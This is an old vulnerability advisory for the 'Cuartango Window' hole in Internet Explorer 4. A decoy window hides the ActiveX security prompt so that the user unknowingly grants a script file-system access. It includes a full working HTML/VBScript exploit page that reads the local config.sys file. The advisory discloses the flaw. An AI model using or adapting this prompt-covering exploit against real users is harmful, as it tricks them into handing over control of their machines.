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- Cuartango Window
-
- http://pages.whowhere.com/computers/cuartangojc/cuartangow1.html
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- Affected software
- Microsoft Internet Explorer 4
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- Risks
- Your computer is at risk a malicious VBScript can get full control over your system.
- The VBScript can de everything : delete files, install viruses, read your files ...
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-
- Technical description
- When Microsoft Internet Explorer detects that a Visual Basic Script included in an HTML page will
- create an object ("CreateObject" sentence) your file system a security alert dialog is displayed :
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- Nobody with a minimum knowledge about ActiveX and VB Scripts would accept this dialog. If you click
- the "yes" button your have given FULL CONTROL of your machine to the VB Script code.
- The vulnerability comes from the fact that is possibleto hide this dialog box and get FULL CONTROL
- over the victim machine.
- The key idea is very simple : just display a window over the security alert hiding the message and
- replacing it by another friendly message but keeping visible the buttons of the original message.
-
- I will show you how the malicious script will work :
-
- First we open a friendly window (The Cuartango Window) :
-
- set wcover = window.open ("welcome.htm", "Welcome . . . )
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- Next instruction will generate the security alert because we are accesing the file system this
- prompt will be behind the welcome window !!!
-
- Set fs = CreateObject("Scripting.FileSystemObject")
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- At this moment instead of the alert shown above what we see is :
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-
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- If the YES button is clicked the script has FULL CONTROL. The welcome window in no longer needed and
- we close it
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- wcover.close
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- At this point we are the script owns the machine as an, example I will get the autoexec.bat file
- and display it in a text box. But the script could do everything on your machine, delete all your
- files, install a virus ...
-
- Set myfile = fs.OpenTextFile("c:\config.sys")
- content = myfile.readall
- myfile.Close
- document.form1.s1.value = content
-
-
- ----------exploit code example----------
-
- <html>
-
- <head>
- <meta name="description" content="Explorer vulnerability : Cuartango Window hole">
- <meta name="GENERATOR" content="Microsoft FrontPage 3.0">
- <meta name="keywords"
- content="activex security,explorer security hole,explorer vulnerability,cuartango window,cuartango hole,cuartango hack,activex hole,vbscript hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
- <title>Cuartango Window demo</title>
- </head>
-
- <body bgcolor="#C0C0C0">
- <script language="VBScript">
-
- if instr(1,navigator.userAgent,"MSIE") = 0 then
- msgbox "Please, use Microsoft Internet Explorer",0,"GoodBye"
- window.navigate "http://www.microsoft.com"
- end if
- if window.screen.width <> 800 then
- alert "Your screen resolution must be 800 x 600"
- window.navigate "cuartangow1.html"
- else ' coordinates given for 800 x 600
- set wcover = window.open ("welcometrick.html", "Welcome", "top = 190,left = 227, height = 80, width = 335,toolbar=no, maximize=no, resizeable=no, status=no")
- Set fs = CreateObject("Scripting.FileSystemObject")
- wcover.close
- Set myfile = fs.OpenTextFile("c:\config.sys")
- content = myfile.readall
- myfile.Close
- end if
-
- </script>
-
-
- <h1 align="center"><font color="#FF0000">Cuartango Window Demo</font></h1>
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- <p align="center"><strong>This example shows you how ActiveX could destroy your system.
- As an example I have read your config.sys file</strong><br>
- Back to <a href="cuartangow1.html">Cuartango Window Page</a></p>
-
- <form method="POST" name="form1">
- <div align="center"><center><p><textarea rows="18" name="S1" cols="49"></textarea></p>
- </center></div>
- </form>
- <script language="VBScript">
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- document.form1.s1.value = content
-
- </script>
-
-
- <p> </p>
- </body>
- </html>
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